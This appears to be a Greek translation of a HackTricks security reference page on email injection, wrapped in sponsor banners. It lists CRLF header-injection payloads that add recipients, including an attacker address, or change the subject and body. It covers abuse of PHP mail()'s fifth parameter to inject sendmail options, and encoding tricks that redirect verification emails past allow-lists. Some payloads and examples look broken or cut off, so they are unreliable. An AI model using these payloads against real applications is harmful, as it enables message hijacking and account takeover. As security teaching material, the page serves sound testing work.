# Email Injections
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Μάθετε & εξασκηθείτε στο GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Υποστηρίξτε το HackTricks
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Εισαγωγή σε αποσταλμένο e-mail
### Εισαγωγή Cc και Bcc μετά το επιχείρημα αποστολέα
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Το μήνυμα θα σταλεί στους λογαριασμούς του παραλήπτη και του παραλήπτη1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Το μήνυμα θα σταλεί στον αρχικό παραλήπτη και στον λογαριασμό του επιτιθέμενου.
### Inject Subject argument
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Ο ψεύτικος τίτλος θα προστεθεί στον αρχικό τίτλο και σε ορισμένες περιπτώσεις θα τον αντικαταστήσει. Εξαρτάται από τη συμπεριφορά της υπηρεσίας email.
### Αλλαγή του σώματος του μηνύματος
Εισάγετε μια αλλαγή γραμμής δύο γραμμών, στη συνέχεια γράψτε το μήνυμά σας για να αλλάξετε το σώμα του μηνύματος.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Εκμετάλλευση της συνάρτησης mail() της PHP
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### Η 5η παράμετρος ($additional\_parameters)
Αυτή η ενότητα θα βασιστεί στο **πώς να καταχραστεί αυτή η παράμετρος υποθέτοντας ότι ένας επιτιθέμενος την ελέγχει**.
Αυτή η παράμετρος θα προστεθεί στη γραμμή εντολών που θα χρησιμοποιεί το PHP για να καλέσει το δυαδικό sendmail. Ωστόσο, θα καθαριστεί με τη λειτουργία `escapeshellcmd($additional_parameters)`.
Ένας επιτιθέμενος μπορεί να **εισάγει πρόσθετες παραμέτρους για το sendmail** σε αυτή την περίπτωση.
#### Διαφορές στην υλοποίηση του /usr/sbin/sendmail
Η διεπαφή **sendmail** παρέχεται από το λογισμικό MTA email (Sendmail, Postfix, Exim κ.λπ.) που είναι εγκατεστημένο στο σύστημα. Αν και η **βασική λειτουργικότητα** (όπως οι παράμετροι -t -i -f) παραμένει η **ίδια** για λόγους συμβατότητας, **άλλες λειτουργίες και παράμετροι** διαφέρουν σημαντικά ανάλογα με το MTA που είναι εγκατεστημένο.
Ακολουθούν μερικά παραδείγματα διαφορετικών σελίδων man της εντολής/διεπαφής sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Ανάλογα με την **προέλευση του δυαδικού sendmail**, έχουν ανακαλυφθεί διαφορετικές επιλογές για να τις καταχραστούν και να **διαρρεύσουν αρχεία ή ακόμα και να εκτελέσουν αυθαίρετες εντολές**. Δείτε πώς στο [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Εισαγωγή στο όνομα email
{% hint style="danger" %}
Σημειώστε ότι αν καταφέρετε να δημιουργήσετε έναν λογαριασμό σε μια υπηρεσία με αυθαίρετο όνομα τομέα (όπως Github, Gitlab, CloudFlare Zero trust...) και να τον επαληθεύσετε λαμβάνοντας το email επαλήθευσης στη διεύθυνση email σας, μπορεί να μπορέσετε να αποκτήσετε πρόσβαση σε ευαίσθητες τοποθεσίες της εταιρείας-θύματος
{% endhint %}
### Αγνοημένα μέρη ενός email
Οι συμβολισμοί: **+, -** και **{}** σε σπάνιες περιπτώσεις μπορούν να χρησιμοποιηθούν για ετικετοποίηση και αγνοούνται από τους περισσότερους διακομιστές email
* Π.χ. john.doe+intigriti@example.com → john.doe@example.com
**Σχόλια μέσα σε παρενθέσεις ()** στην αρχή ή στο τέλος θα αγνοηθούν επίσης
* Π.χ. john.doe(intigriti)@example.com → john.doe@example.com
### Παράκαμψη λίστας επιτρεπόμενων
### Αποσπάσματα
### IPs
Μπορείτε επίσης να χρησιμοποιήσετε IPs ως ονόματα τομέα μεταξύ αγκυλών:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Κωδικοποίηση Email
Όπως εξηγήθηκε σε [**αυτή την έρευνα**](https://portswigger.net/research/splitting-the-email-atom), τα ονόματα email μπορούν επίσης να περιέχουν κωδικοποιημένους χαρακτήρες:
* **PHP 256 overflow**: Η λειτουργία `chr` του PHP θα συνεχίσει να προσθέτει 256 σε έναν χαρακτήρα μέχρι να γίνει θετικός και στη συνέχεια να εκτελέσει την επιχείρηση `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Ο στόχος αυτού του κόλπου είναι να καταλήξετε με μια εισαγωγή όπως `RCPT TO:<"collab@psres.net>collab"@example.com>`\
που θα στείλει το email επαλήθευσης σε μια διαφορετική διεύθυνση email από την αναμενόμενη (έτσι ώστε να εισαχθεί μια άλλη διεύθυνση email μέσα στο όνομα email και να σπάσει τη σύνταξη κατά την αποστολή του email)
{% endhint %}
Διαφορετικές κωδικοποιήσεις:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@